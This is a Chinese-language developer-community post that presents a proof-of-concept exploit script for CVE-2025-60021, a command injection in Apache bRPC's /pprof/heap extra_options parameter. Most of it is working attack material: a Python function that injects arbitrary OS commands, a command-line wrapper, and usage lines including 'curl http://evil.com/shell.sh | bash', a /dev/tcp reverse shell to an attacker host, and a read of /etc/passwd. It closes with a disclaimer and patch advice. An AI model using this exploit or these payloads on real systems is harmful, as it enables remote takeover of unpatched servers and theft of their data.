首页
学习
活动
专区
圈层
工具
发布
社区首页 >专栏 >Apache bRPC 远程命令注入漏洞(CVE-2025-60021)检测工具

Apache bRPC 远程命令注入漏洞(CVE-2025-60021)检测工具

原创
作者头像
qife122
发布2026-01-23 23:46:57
发布2026-01-23 23:46:57
1150
举报

Apache bRPC 远程命令注入漏洞(CVE-2025-60021)PoC

项目概述

本项目提供了一个针对 CVE-2025-60021 漏洞的概念验证(PoC)利用脚本。该漏洞存在于 Apache bRPC 的堆性能分析器(heap profiler)内置服务中,影响 1.15.0 之前的所有版本。攻击者可以通过未经验证的 extra_options 参数注入并执行任意操作系统命令。

漏洞详情

属性

信息

漏洞编号

CVE-2025-60021

影响产品

Apache bRPC(全平台)

受影响版本

< 1.15.0

漏洞类型

远程命令注入(CWE-77)

利用端点

/pprof/heap

触发参数

extra_options

CVSS评分

9.8/10(严重)

功能特性

  • 自动漏洞检测:通过发送特制请求验证目标是否存在 CVE-2025-60021 漏洞
  • 远程命令执行:利用漏洞在目标系统上执行任意命令
  • 灵活的命令注入:支持多种命令连接符(;&&|
  • 直观的结果反馈:显示 HTTP 响应状态和可能的命令输出
  • 简单易用的命令行界面:提供清晰的参数解析和使用说明

安装指南

系统要求

  • Python 3.x
  • 网络访问权限
  • 目标系统运行 Apache bRPC (< 1.15.0)

依赖安装

代码语言:bash
复制
pip install requests

下载脚本

代码语言:bash
复制
git clone https://github.com/Ashwesker/Ashwesker-CVE-2025-60021.git
cd Ashwesker-CVE-2025-60021

使用说明

基础用法

代码语言:bash
复制
# 基本命令执行
python3 exploit.py http://target:8000 "whoami"

# 执行复杂命令
python3 exploit.py http://target:8000 "curl http://evil.com/shell.sh | bash"

# 执行带管道和重定向的命令
python3 exploit.py http://victim:8000 "cat /etc/passwd | grep root"

参数说明

  • target:目标 URL(如 http://victim:8000)
  • cmd:要执行的系统命令

使用示例

  1. 验证漏洞是否存在:python3 exploit.py http://192.168.1.100:8000 "echo vulnerable"
  2. 获取系统信息:python3 exploit.py http://target:8000 "uname -a && id"
  3. 反向Shell(示例):python3 exploit.py http://target:8000 "bash -c 'bash -i >& /dev/tcp/attacker-ip/4444 0>&1'"

核心代码

1. 主漏洞利用函数

代码语言:python
复制
def exploit(target_url, command):
    # 漏洞端点
    vuln_path = "/pprof/heap"
    
    # 负载:通过extra_options注入命令(jemalloc直接传递给system执行)
    # 使用 ; 或 && 或 | 连接命令
    payload = f"; {command} #"
    
    # URL编码(该漏洞不需要特殊编码)
    params = {
        "extra_options": payload
    }
    
    full_url = f"{target_url.rstrip('/')}{vuln_path}?{urllib.parse.urlencode(params)}"
    
    print(f"[*] 发送负载到: {full_url}")
    print(f"[*] 执行命令: {command}")
    
    try:
        # 使用GET请求(如果服务器允许,POST也可以工作)
        r = requests.get(full_url, timeout=10, verify=False)
        
        if r.status_code == 200:
            print("[+] 利用可能成功!(200 OK)")
            print("[+] 请检查监听器/服务器日志获取输出")
            # 如果命令产生stdout,输出可能在响应体中
            if r.text.strip():
                print("\n响应体(可能的命令输出):\n")
                print(r.text)
        else:
            print(f"[-] 收到状态码 {r.status_code} - 可能不存在漏洞?")
            print(r.text[:500])
            
    except Exception as e:
        print(f"[-] 错误: {e}")

2. 命令行参数解析

代码语言:python
复制
if __name__ == "__main__":
    # 创建参数解析器
    parser = argparse.ArgumentParser(description="CVE-2025-60021 PoC - Apache bRPC RCE")
    
    # 必需参数:目标URL和要执行的命令
    parser.add_argument("target", help="目标URL(如 http://victim:8000)")
    parser.add_argument("cmd", help="要执行的命令(如 'id' 或 'whoami' 或 'curl http://evil.com/shell.sh | bash')")
    
    # 解析命令行参数
    args = parser.parse_args()
    
    # 调用漏洞利用函数
    exploit(args.target, args.cmd)

3. 漏洞原理说明代码段

代码语言:python
复制
# 漏洞根本原因:
# Apache bRPC的heap profiler服务(/pprof/heap)在处理extra_options参数时,
# 未对用户输入进行充分的验证和清理,直接将参数传递给系统命令执行。
# 攻击者可以通过注入特殊字符(如;、&&、|)来执行任意命令。

# 漏洞请求示例:
# GET /pprof/heap?extra_options=;+恶意命令+#
# POST /pprof/heap (with extra_options=;恶意命令# in body)

# 修复建议:
# 1. 升级到Apache bRPC 1.15.0或更高版本
# 2. 在输入验证中对extra_options参数进行严格的过滤
# 3. 禁用不必要的profiling端点

4. 漏洞检测逻辑

代码语言:python
复制
# 漏洞检测可以通过以下方式:
# 1. 发送无害的测试命令(如echo test)
# 2. 检查响应状态码和内容
# 3. 验证命令是否实际执行

# 安全注意事项:
# 本工具仅用于合法的安全测试和漏洞验证
# 使用时需获得目标系统的明确授权
# 未经授权的测试可能违反法律和道德规范

免责声明

本工具仅用于教育目的和安全研究。使用者需确保:

  1. 仅在获得明确授权的系统上进行测试
  2. 遵守当地法律法规
  3. 不用于任何恶意或非法的目的
  4. 对使用本工具造成的任何后果负责

注意:该漏洞已在 Apache bRPC 1.15.0 版本中修复,建议所有用户立即升级到最新版本。

6HFtX5dABrKlqXeO5PUv/ydjQZDJ7Ct83xG1NG8fcAPa7fk5J2/L2YkV9ucR20Sw

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • Apache bRPC 远程命令注入漏洞(CVE-2025-60021)PoC
    • 项目概述
      • 漏洞详情
    • 功能特性
    • 安装指南
      • 系统要求
      • 依赖安装
      • 下载脚本
    • 使用说明
      • 基础用法
      • 参数说明
      • 使用示例
    • 核心代码
      • 1. 主漏洞利用函数
      • 2. 命令行参数解析
      • 3. 漏洞原理说明代码段
      • 4. 漏洞检测逻辑
    • 免责声明
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档